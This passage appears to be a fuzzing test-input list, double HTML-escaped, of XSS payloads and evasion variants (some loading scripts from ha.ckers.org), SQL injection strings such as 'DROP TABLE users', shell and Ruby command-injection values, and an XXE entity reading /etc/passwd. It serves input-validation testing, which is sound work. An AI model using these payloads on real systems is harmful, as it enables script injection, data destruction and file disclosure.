&amp;lt; / script &amp;gt;&amp;lt; script &amp;gt;alert(123)&amp;lt; / script &amp;gt;
 onfocus=JaVaSCript:alert(123) autofocus
&quot; onfocus=JaVaSCript:alert(123) autofocus
&apos; onfocus=JaVaSCript:alert(123) autofocus
＜script＞alert(123)＜/script＞
&amp;lt;sc&amp;lt;script&amp;gt;ript&amp;gt;alert(123)&amp;lt;/sc&amp;lt;/script&amp;gt;ript&amp;gt;
--&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;
&quot;;alert(123);t=&quot;
&apos;;alert(123);t=&apos;
JavaSCript:alert(123)
;alert(123);
src=JaVaSCript:prompt(132)
&quot;&amp;gt;&amp;lt;script&amp;gt;alert(123);&amp;lt;/script x=&quot;
&apos;&amp;gt;&amp;lt;script&amp;gt;alert(123);&amp;lt;/script x=&apos;
&amp;gt;&amp;lt;script&amp;gt;alert(123);&amp;lt;/script x=
&quot; autofocus onkeyup=&quot;javascript:alert(123)
&apos; autofocus onkeyup=&apos;javascript:alert(123)
&amp;lt;script\x20type=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&amp;lt;script\x3Etype=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&amp;lt;script\x0Dtype=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&amp;lt;script\x09type=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&amp;lt;script\x0Ctype=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&amp;lt;script\x2Ftype=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&amp;lt;script\x0Atype=&quot;text/javascript&quot;&amp;gt;javascript:alert(1);&amp;lt;/script&amp;gt;
&apos;`&quot;&amp;gt;&amp;lt;\x3Cscript&amp;gt;javascript:alert(1)&amp;lt;/script&amp;gt;
&apos;`&quot;&amp;gt;&amp;lt;\x00script&amp;gt;javascript:alert(1)&amp;lt;/script&amp;gt;
ABC&amp;lt;div style=&quot;x\x3Aexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:expression\x5C(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:expression\x00(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:exp\x00ression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:exp\x5Cression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x0Aexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x09expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE3\x80\x80expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x84expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xC2\xA0expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x80expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x8Aexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x0Dexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x0Cexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x87expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xEF\xBB\xBFexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x20expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x88expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x00expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x8Bexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x86expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x85expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x82expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\x0Bexpression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x81expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x83expression(javascript:alert(1)&quot;&amp;gt;DEF
ABC&amp;lt;div style=&quot;x:\xE2\x80\x89expression(javascript:alert(1)&quot;&amp;gt;DEF
&amp;lt;a href=&quot;\x0Bjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x0Fjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xC2\xA0javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x05javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE1\xA0\x8Ejavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x18javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x11javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x88javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x89javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x80javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x17javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x03javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x0Ejavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x1Ajavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x00javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x10javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x82javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x20javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x13javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x09javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x8Ajavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x14javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x19javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\xAFjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x1Fjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x81javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x1Djavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x87javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x07javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE1\x9A\x80javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x83javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x04javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x01javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x08javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x84javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x86javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE3\x80\x80javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x12javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x0Djavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x0Ajavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x0Cjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x15javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\xA8javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x16javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x02javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x1Bjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x06javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\xA9javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x80\x85javascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x1Ejavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\xE2\x81\x9Fjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;\x1Cjavascript:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;javascript\x00:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;javascript\x3A:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;javascript\x09:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;javascript\x0D:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;javascript\x0A:javascript:alert(1)&quot; id=&quot;fuzzelement1&quot;&amp;gt;test&amp;lt;/a&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x0Aonerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x22onerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x0Bonerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x0Donerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x2Fonerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x09onerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x0Conerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x00onerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x27onerror=javascript:alert(1)&amp;gt;
`&quot;&apos;&amp;gt;&amp;lt;img src=xxx:x \x20onerror=javascript:alert(1)&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x3Bjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x0Djavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xEF\xBB\xBFjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x81javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x84javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE3\x80\x80javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x09javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x89javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x85javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x88javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x00javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\xA8javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x8Ajavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE1\x9A\x80javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x0Cjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x2Bjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xF0\x90\x96\x9Ajavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;-javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x0Ajavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\xAFjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x7Ejavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x87javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x81\x9Fjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\xA9javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xC2\x85javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xEF\xBF\xAEjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x83javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x8Bjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xEF\xBF\xBEjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x80javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x21javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x82javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE2\x80\x86javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xE1\xA0\x8Ejavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x0Bjavascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\x20javascript:alert(1)&amp;lt;/script&amp;gt;
&quot;`&apos;&amp;gt;&amp;lt;script&amp;gt;\xC2\xA0javascript:alert(1)&amp;lt;/script&amp;gt;
&amp;lt;img \x00src=x onerror=&quot;alert(1)&quot;&amp;gt;
&amp;lt;img \x47src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img \x11src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img \x12src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img\x47src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img\x10src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img\x13src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img\x32src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img\x47src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img\x11src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img \x47src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img \x34src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img \x39src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img \x00src=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x09=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x10=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x13=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x32=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x12=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x11=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x00=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src\x47=x onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x\x09onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x\x10onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x\x11onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x\x12onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x\x13onerror=&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img[a][b][c]src[d]=x[e]onerror=[f]&quot;alert(1)&quot;&amp;gt;
&amp;lt;img src=x onerror=\x09&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x onerror=\x10&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x onerror=\x11&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x onerror=\x12&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x onerror=\x32&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;img src=x onerror=\x00&quot;javascript:alert(1)&quot;&amp;gt;
&amp;lt;a href=java&amp;amp;#1&amp;amp;#2&amp;amp;#3&amp;amp;#4&amp;amp;#5&amp;amp;#6&amp;amp;#7&amp;amp;#8&amp;amp;#11&amp;amp;#12script:javascript:alert(1)&amp;gt;XXX&amp;lt;/a&amp;gt;
&amp;lt;img src=&quot;x` `&amp;lt;script&amp;gt;javascript:alert(1)&amp;lt;/script&amp;gt;&quot;` `&amp;gt;
&amp;lt;img src onerror /&quot; &apos;&quot;= alt=javascript:alert(1)//&quot;&amp;gt;
&amp;lt;title onpropertychange=javascript:alert(1)&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;title title=&amp;gt;
&amp;lt;a href=http://foo.bar/#x=`y&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img alt=&quot;`&amp;gt;&amp;lt;img src=x:x onerror=javascript:alert(1)&amp;gt;&amp;lt;/a&amp;gt;&quot;&amp;gt;
&amp;lt;!--[if]&amp;gt;&amp;lt;script&amp;gt;javascript:alert(1)&amp;lt;/script --&amp;gt;
&amp;lt;!--[if&amp;lt;img src=x onerror=javascript:alert(1)//]&amp;gt; --&amp;gt;
&amp;lt;script src=&quot;/\%(jscript)s&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;\\%(jscript)s&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;IMG &quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;XSS&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;
&amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;
&amp;lt;IMG SRC=# onmouseover=&quot;alert(&apos;xxs&apos;)&quot;&amp;gt;
&amp;lt;IMG SRC= onmouseover=&quot;alert(&apos;xxs&apos;)&quot;&amp;gt;
&amp;lt;IMG onmouseover=&quot;alert(&apos;xxs&apos;)&quot;&amp;gt;
&amp;lt;IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;&amp;gt;
&amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;
&amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;
&amp;lt;IMG SRC=&quot;jav   ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;
&amp;lt;IMG SRC=&quot;jav&amp;amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;
&amp;lt;IMG SRC=&quot;jav&amp;amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;
&amp;lt;IMG SRC=&quot;jav&amp;amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;
perl -e &apos;print &quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;XSS\&quot;)&amp;gt;&quot;;&apos; &amp;gt; out
&amp;lt;IMG SRC=&quot; &amp;amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;
&amp;lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;
&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&amp;gt;
&amp;lt;SCRIPT/SRC=&quot;http://ha.ckers.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;
&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;XSS&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;
&amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt; B &amp;gt;
&amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;
&amp;lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;
&amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;
\&quot;;alert(&apos;XSS&apos;);//
&amp;lt;u oncopy=alert()&amp;gt; Copy me&amp;lt;/u&amp;gt;
&amp;lt;i onwheel=alert(1)&amp;gt; Scroll over me &amp;lt;/i&amp;gt;
&amp;lt;plaintext&amp;gt;
http://a/%%30%30
&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;

# SQL Injection
#
# Strings which can cause a SQL injection if inputs are not sanitized

1;DROP TABLE users
1&apos;; DROP TABLE users-- 1
&apos; OR 1=1 -- 1
&apos; OR &apos;1&apos;=&apos;1

%
_

# Server Code Injection
#
# Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)

-
--
--version
--help
$USER
/dev/null; touch /tmp/blns.fail ; echo
`touch /tmp/blns.fail`
$(touch /tmp/blns.fail)
@{[system &quot;touch /tmp/blns.fail&quot;]}

# Command Injection (Ruby)
#
# Strings which can call system commands within Ruby/Rails applications

eval(&quot;puts &apos;hello world&apos;&quot;)
System(&quot;ls -al /&quot;)
`ls -al /`
Kernel.exec(&quot;ls -al /&quot;)
Kernel.exit(1)
%x(&apos;ls -al /&apos;)

#      XXE Injection (XML)
#
# String which can reveal system files when parsed by a badly configured XML parser

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;

# Unwanted Interpolation
#
